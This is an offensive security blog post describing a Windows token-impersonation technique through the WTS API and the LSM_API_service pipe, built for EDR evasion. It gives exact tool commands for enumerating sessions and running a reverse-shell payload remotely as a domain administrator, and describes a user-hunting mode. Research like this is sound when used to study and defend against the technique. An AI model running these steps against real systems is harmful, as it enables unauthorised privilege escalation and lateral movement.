Normal view

There are new articles available, click to refresh the page.
Before yesterdayStories by Omri Baso on Medium

WTS API Wasteland — (Remote) Token Impersonation In Another Level

By: Omri Baso
20 September 2023 at 12:02

WTS API Wasteland — (Remote) Token Impersonation In Another Level

Whoami?

Hey, My name is Omri Baso, I am holding OSCP, OSWE, OSED, OSEP and OSCE3, I am 25 years old security researcher from Israel working at Scorpiones LTD — a premium Red Team and Offensive Research Company and I like researching about Windows, Active Directory, C2 Malwares development and offensive tools.

For the lazy, here is a link to Github POC: https://github.com/OmriBaso/WTSImpersonator

1. Token Impersonation

Many of you red teamers already know the old but gold token impersonation technique, an attacker uses the OpenProcess API and steals the user token while opening a new CMD with the victim user permissions, this helps a lot in engagements where Lsass.exe is protected and dumping credentials is not a possibility for us, I myself wrote a tool that does that alongside with changing the Win Desktop object permissions to allow stealing the token of users with a non-interactive session.

1.2 Differences Between The Methods

Normal Token Impersonation goes as follows:

OpenProcess / NtOpenProcess -> OpenProcessToken -> DuplicateTokenEx -> CreateProcessWithTokenW.

So in general, normal token impersonation manipulates process tokens, while the new WTS technique does not do any of these — only OpenProcessToken is called (on our own process) in the process, the rest is done through the RPC Named Pipe “\\pipe\LSM_API_service” — which means, another process does the heavy lifting for us.

Lets get into the details!

2. WTS API — Token Impersonation Redesigned

While the token impersonation technique is great, it is well known by EDR vendors and is easily blocked by up-to-date EDRs and XDRs, so I thought about ways to evade using the common APIs and steal tokens by using other methods — and that is when I found the WTS API, this API is used by RDP services and has a lot of capabilities exposed through an RPC interface, the interesting API that I found is WTSQueryUserToken.

Many other APIs are there that might be useful

As the same suggests, this API will give user a user token, well.. this API seems promising, by reading the documentation, we understand that suppling a SessionId (Logon session) will enable us to obtain the user token from that Session ID.

BOOL WTSQueryUserToken(
[in] ULONG SessionId,
[out] PHANDLE phToken
);

Seems quite nice, how do we obtain the SessionsId though? this is where we encounter another API called WTSEnumerateSessionsA

By combining the pieces I created a code which uses WTSEnumerateSessionsA → WTSQuerySessionInformationA -> WTSQueryUserToken -> CreateProcessAsUserW

But wait, it is not all that great.

3. Reversing The Method

Sorting out the facts:

The WTSQueryUserToken will only work through a service and the service must have the permission SeDelegateSessionUserImpersonatePrivilege alongside with SE_TCB_NAME.

The enumeration phase can be achieved by using the RPC named pipe called “\\pipe\LSM_API_service” (WTSEnumerateSessionsA → WTSQuerySessionInformationA) which means we can use that RPC in order to discover which users are connected to each station without deploying code on the system.

due to the fact that this name pipe is barely documented, we can guess that LSM stands for Local Security Manager (just a guess).

Starting our analysis, we will go to the WTSQueryUserToken function in IDA Pro we see the following:

as I saw the PrivilegeCheck call I thought to myself, wait, maybe there is only a Usermode permissions validation? I kept that in my mind and continued on reversing

As can be seen, the WTSQueryUserToken is just a wrapper around the WinStationQueryInformationW so our analysis must be continued elsewhere.

And there we find Winsta.dll.

Since the WinStationQueryInformationW function was MASSIVE so I decided to look for hints regarding the path it takes to steal a user token, and I found the following undocumented function GetUserTokenForSession this function takes two variables, an Int and a pointer to a pointer, so we can assume the function signature looks as follows (int SessionId, PHANDLE Token)

So I edited the function signature in order to make it easier to trace execution, in short, we must make sure that no weird API calls are made and we understand the flow of execution correctly.

We can identify that the use of the SessionId variable is done once, in an RPC call NdrClientCall3

And that seals the deal for us, no calls are made to OpenProcess, NtOpenProcess or any of these APIs.

Since we are Security Researchers and we like to be thorough we will use frida-trace.exe in order to make sure we do not execute anything related to other process besides ours.

An inspection reveals that we are indeed not executing anything related to other process besides our own process when using the API WTSQueryUserToken.

This gives us a great ability to avoid detection of common token stealing techniques!

Remember the PrivilegeCheck call from before? I tried writing code to call the GetUserTokenForSession directly without being a Service as stated in the documentation but It did not seem to work, which means, permissions are also validated at the other side of the RPC (server — side).

4.1. Writing The Code — Remote Token Impersonation

As mentioned before, we had a few obstacles, one of which was that this RPC does not allow to query the user token without the SeTcbPrivilege which is held by the SYSTEM account, and It must be a service process as well.

To solve this issue, I used PsExec.exe during development opened a cmd.exe and execute the WTSImpersonator.exe from that CMD.exe, and Wohhallaa, it worked.

It is important to mention, if you use the WTSQueryUserToken API as SYSTEM — WITHOUT being a service, you will Indeed get the Token, but CreateProcessAsUserW will give you access denied.

It did work with CreateProcessWithTokenW but the process crashes due to issues with loading DLLs (maybe you guys want to look into it).

5. Proof Of Concept —Local Token Impersonation

For our demonstration we have a machine with a domain admin logged as the user LABS/Administrator and we have access to the user LABS/Jon which is Local Administrator on this machine.

Since we must execute as a Service and the SYSTEM account, I used PsExec to launch a CMD.exe from a Service.

PsExec64.exe -accepteula -s cmd.exe

and then we executed our WTSImpersonator.exe

WTSImpersonator.exe -m enum

As we can see we have the Administrator account logged in as SessionId 3, we can use the “exec” mode in order to open a CMD as that user, in our own window, without launching another separate window.

WTSImpersonator.exe -m exec -id 3 -c C:\Windows\System32\cmd.exe

And boom, we owned the LABS/Administrator user without opening any of the high-privileged account process.

And then my brain went like:

But wait… if we must execute a service… and we are executing via PsExec… why not make it work remotely on other machines..?

5.1. Proof Of Concept — Remote Token Impersonation

Since some of the “\\pipe\LSM_API_service” implementation is accessible remotely, we can perform the enumeration phase without dropping any files to the disk unless necessary, which helps us remain stealth.

For our demonstration I created a domain called labs.local where we have 1 Domain Controller and 2 Machines, our users are: LABS/Jon and LABS/Administrator.

We have DESKTOP-J8L4KJT where LABS/Jon is a Local Administrator at.

We also have DESKTOP-RKOL027 — this is a PC where Jon is actually working from and this is from where we will attack DESKTOP-J8L4KJT.

By using the WTSImpersonator.exe and using the “enum” module, we queried the remote computer RPC and we discovered that we have a login from the user LABS/Administrator with SessionId 3 at the DESKTOP-J8L4KJT (192.168.40.129).

Following up on that, from our attacking machine, we want to get a reverse shell on the remote machine as the LABS/Administrator user, without touching Lsass.exe, and without using any of the OpenProcess API variations.

In that process via SMB we move the Service executable and the Attacker Payload into the victim machine and then we create a remote service which will execute our attacker binary as the victim user by using our newly discovered API WTSQueryUserToken.

WTSImpersonator.exe -m exec-remote -s 192.168.40.129 -id 3 -c C:\Users\jon\Desktop\SimpleReverseShellExample.exe -sp C:\Users\Jon\Desktop\WTSService.exe

As it seems by the output, our service executed properly and our attacker binary should have been executed (this is a reverse shell to our Kali machine, but could be anything else).

Going back to our Kali machine we can see that indeed we got code execution as the LABS/Administrator user!

5.2. Abusing “\\pipe\LSM_API_service” — User Hunter

After confirming that we can consume the “\\pipe\LSM_API_service” remotely I decided I should create a function which helps us hunt for users we want and execute code on their behalf.

This “user-hunter” mode takes a list of IPs/Hostnames, and “Domain/Username” parameter, then it queries each machine if that user is present, if so, It will try the same “exec-remote” method and execute code on the desired user behalf.

As can be seen in the screenshot, as soon as the desired user was found, the WTSImpersonator.exe tried executing code as that user.

5.3. Video POC

6. Implementing The Technique On Your Own — Rules

It is important to remember this is just a POC of the technique and you guys can implement these methods in your own ways, just remember, you must run as a service and not a console application, with exception that you can run as console application only if the executable executing the WTSImpersonator.exe is a service by itself, for example, using your PsExec.exe shell.

For my POC of the technique go to my Github Repo.

❌
❌